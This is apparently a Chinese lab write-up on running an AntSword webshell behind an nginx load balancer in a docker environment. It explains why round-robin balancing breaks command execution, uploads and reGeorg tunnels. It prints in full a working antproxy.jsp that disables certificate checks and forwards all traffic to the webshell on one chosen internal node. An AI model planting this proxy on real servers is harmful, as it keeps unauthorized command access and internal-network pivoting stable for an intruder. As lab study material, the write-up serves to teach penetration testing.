环境搭建与webshell连接
1.nginx配置
实验使用centos,docker提前安装好,再使用docker搭建环境,使用课堂上提供的环境,直接解压到/root
目录下;
接着直接docker-compose up -d
,安装下载后是如下三个节点;
浏览器ip+端口查看,成功实现反向代理到—APache Tomacat上
2.使用蚁剑
2.1、测试连接
添加我们的shell,测试连接;
因为两台节点都在相同的位置存在 ant.jsp,所以连接的时候也没出现什么异常。
2.2、出现的问题
这时就出现一些问题;
1.我们将其中一台取消上传webshell,于是便出现了测试连接成功与失败交替,一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误;
2.我们在执行命令时,无法知道下次的请求交给哪台机器去执行,输入hostname可以看到输出在轮换,这是因为使用的是轮询方式,如果换到其他模式,可能会更变幻多端;
3.在上传文件时,实际环境中常常需要上传一些软件,文件之类的东邪,大小不一,小文件可能传输快,能直接传到服务器上,但是我们不能确定他传到那台服务器上;当文件过大时,问题更加明显,数据上传可能会被分片传输,一半在这个服务器,一半在那个服务器;
删除同理,当你删除指定文件时,服务器可能也已经跳转到另一个上了,导致你删除后刷新文件还在;
上面可以明显看到我上传了4张照片,但是却不再一个服务器上;
4.内网渗透时,由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。
我们是通过代理服务器进入内网,但是隧道传输数据是一直传输的,就有可能会出现这个传输到一半,就跑到另外一台服务器上去了,连接
就中断,再想连接,又会出现同样的问题,所以不可能通过代理服务器进入内网;
2.3、解决问题
1.直接关闭其中一台服务器;
关闭一台服务器,理论存在,只保留一台机器,然后因为健康检查机制的存在,很快其它的节点就会被 nginx 从池子里踢出去,那么就能继续进行下去,但是;
如果是在真实环境,就有可能会影响业务,造成重大事故,可能给自己找麻烦,所以万万不可取。
2.利用shell在执行前先判断要不要执行
Shell脚本如下:
上传到蚁剑执行,因为shell脚本设置了限制,可以看到当ip是172.18.0.2的时候才会执行,并且输出ip地址,不是则返回了try again;
这样一来,确实是能够保证执行的命令是在我们想要的机器上了,就解决了第一个问题,但是也只能在执行命令的时候用用;
因为他对后面的问题还是没起到作用,仍不能解决上传文件、HTTP 隧道 等其他更深层面的问题;
3.在Web 层做一次 HTTP 流量转发
目的:所有的数据包都能发给「LBSNode 1」这台机器。
请求 /antproxy.jsp,这个请求发给 nginx,在nginx 接到数据包之后,会有两种情况:
1、请求直接传递到了Node1,请求了 Node1 机器上的 /antproxy.jsp,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。
2、请求传递到了Node2,Node2 机器上面的 /antproxy.jsp 把请求重组之后,再传给了 Node1 的 /ant.jsp,成功执行。
这样就解决了所有的问题了;
开始操作:
1、创建脚本antproxy.jsp;
为了避免出现分片传输,所以我们直接在蚁剑/usr/local/webapps/ROOT下新建文件,同时要保证每一台服务器上都有该文件,多新建几次为好;
再使用提前准备好的代码文件,添加进去,多保存几次!!!确保两个服务器文件中都有内容。
注意更改ip为自己的服务器ip !!!
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.18.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
一直保存,直到两台服务器下的antproxy.jsp大小相等,均为3.22kb;
修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变
最后测试命令,查看ip;
可以看到 IP 已经固定为172.18.0.2,着 意味着请求已经固定到了172.18.0.2 这台机器上了,问题也全部解决了。